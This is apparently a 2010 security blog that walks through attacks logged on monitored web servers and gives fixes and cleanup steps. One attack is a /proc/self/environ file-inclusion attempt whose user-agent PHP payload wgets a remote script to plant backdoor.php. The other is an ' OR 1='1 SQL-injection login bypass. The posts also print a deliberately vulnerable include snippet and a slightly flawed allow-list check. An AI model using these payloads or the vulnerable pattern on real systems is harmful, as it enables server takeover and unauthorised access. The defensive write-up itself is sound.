Friday, June 25, 2010

The proc/self/environ Injection

Event Details


Date
21 June 2010

POST Values
file: ../../proc/self/environ

SERVER Values
HTTP_USER_AGENT: <? exec(\"wget http://[remotescript].txt -O backdoor.php\"); ?>
This is a simplified version of what was captured in the user agent field.

What the hacker was hoping for
What we have hear is a local file injection attack coupled with injected PHP code.

The visitor hopes that my code that handles file inclusion is written something like this:
<?php
// Include file requested
include($_GET['file']);
?>


Thus the file that will be included would be:

/var/www/../../proc/self/environ (which equates to /proc/self/environ)

The hacker is attempting to include the proc details about the current Apache thread. /proc/ contains information about all the running threads, /proc/self/ contains the current thread being run). Apache stores various values in the /proc/self/environ (environment variables) such as the visitors IP address, user agent, script called and other values like this:


DOCUMENT_ROOT=/var/www GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID= HTTP_HOST=www.example.com HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) PATH=/bin:/usr/bin QUERY_STRING= REMOTE_ADDR=x.x.x.x REMOTE_PORT=xxxx REQUEST_METHOD=GET REQUEST_URI=/index.php SCRIPT_FILENAME=/var/www/index.php SCRIPT_NAME=/index.php SERVER_ADDR=x.x.x.x SERVER_ADMIN=webmaster@example.com SERVER_NAME=www.example.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.1 SERVER_SIGNATURE=
Apache/2.0 (Unix)


However, since the hacker has set his own custom User-Agent (HTTP_USER_AGENT), that will be included and executed as PHP code. The PHP code would then execute shell commands to retrieve a remote script, download it to the server and place it in the website folder:

<?
// Fetch remote script and place in /tmp/dump
exec("wget http://[remotescript].txt -O backdoor.php");
>


Now the hacker can now visit his page and run any commands he wants on your webserver.

http://www.example.com/backdoor.php

How to prevent this

  • Sanitize your inputs
    • Ensure that directory traversal is disabled/checked for
    • Work with an allowed list of files

      $allowed_files = array('file1.php', 'file2.php');
      $allowed_index = array_search($_GET['file'], $allowed_files)
      if ($allowed_index !== NULL)
      {
      include $allowed_files[$allowed_index];
      }


    • Don't allow visitors to specify by name

      $allowed_files = array('file1' => 'file1.php', 'file2' => 'file2.php');
      if (!empty($allowed_files[$_GET['file']]))
      {
      include $allowed_files[$_GET['file']];
      }



Threat Level
High

Course of Action

If this has happened to you, do the following:
  • Take the server offline (if possible)
  • Check active process list for unknown scripts and kill them
  • Patch/Fix the file inclusion vulnerability (update your web application with the latest version)
  • Check your httpd/apache logs (located in either /var/log/httpd/ or /var/log/apache/ folders) for visits from the hacker to determine his IP address(es) and pinpoint which scripts he was hitting (to identify backdoors)
  • Remove backdoor scripts
  • Monitor you logs. The hacker will probably return and attempt to reinfect your server.

Thursday, June 24, 2010

The Common Probing

Event Details

Date
22 June 2010

POST Values
username: ' OR 1='1
password: ' OR 1='1

What we have here is a classic probe to determine if the login form is vulnerable to SQL injection or bypassing.

What the visitor was hoping for
The visitor was hoping that I am not sanitizing my inputs and thus when my SQL query is built it will allow him to bypass the login.

Example:
SELECT * FROM user WHERE username='[x]' AND password='[y]' LIMIT 1
Would become:
SELECT * FROM user WHERE username='' OR 1='1' AND password='' OR 1='1' LIMIT 1
This hopefully would allow him to log in as the first row in the user table.

How to prevent this
  • Sanitize your inputs (type-cast your numerics were possible)
  • Prepare your queries

If you are unsure on how to do this, I recommend reading up on SQL Injections Attacks.

What we know about the visitor
Any visit to your website will always provide you with a wealth of information about the visitor. By simply examining the IP address and the HTTP headers passed, we can normally determine a lot about the visitor.

Firstly we make a quick trip to a whois lookup tool and we find that the IP address belonged to the block assigned to Saudi Arabia (109.82.40.0 - 109.83.255.255). We now can make an educated guess where our visitor is located.

If you want something a bit more accurate, you can look at geoip location services such as MaxMind.

Now we'll dig through the HTTP headers.

HTTP_ACCEPT_LANGUAGE
This will let us know what is the preferred language of the visitor. In this case the preferred language is ar-SA. A quick lookup on a language code chart shows us that that denotes Arabic (Saudi Arabia).

HTTP_USER_AGENT
The HTTP_USER_AGENT header can provide us with more information that just what browser the person is using.

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbGOM2/5.7.0.231)

A quick visit to http://user-agent-string.info will give us a breakdown of the user agent string.

Browser Internet Explorer 8.0
OS Windows 7
Installed .NET Versions 2.0.50727, 3.5.30729, 3.0.30729
Office Suite Probably (Infopath v.2 MS Office Component installed)

HTTP_X_BLUECOAT_VIA
The visitor is going through a Bluecoat proxy. The value passed in this field is the proxy session for the visitor.

REMOTE_ADDR
This is often the IP address of the visitor. In this case it is the IP address of the Bluecoat proxy.

Threat level

Low

Course of Action

Add weight to visitors from Bluecoat proxies

(When I refer to weight, I'm talking about the weighting that is assigned to a request that determines whether the request is a hostile action and whether it should be blocked or reported).

Introduction

Welcome to Web Security Log. This blog will be dedicated to the listing of incoming attacks on various servers I monitor. I'll endever to explain each attack, what the attacker is hoping to achieve and ways to protect yourself against these attacks.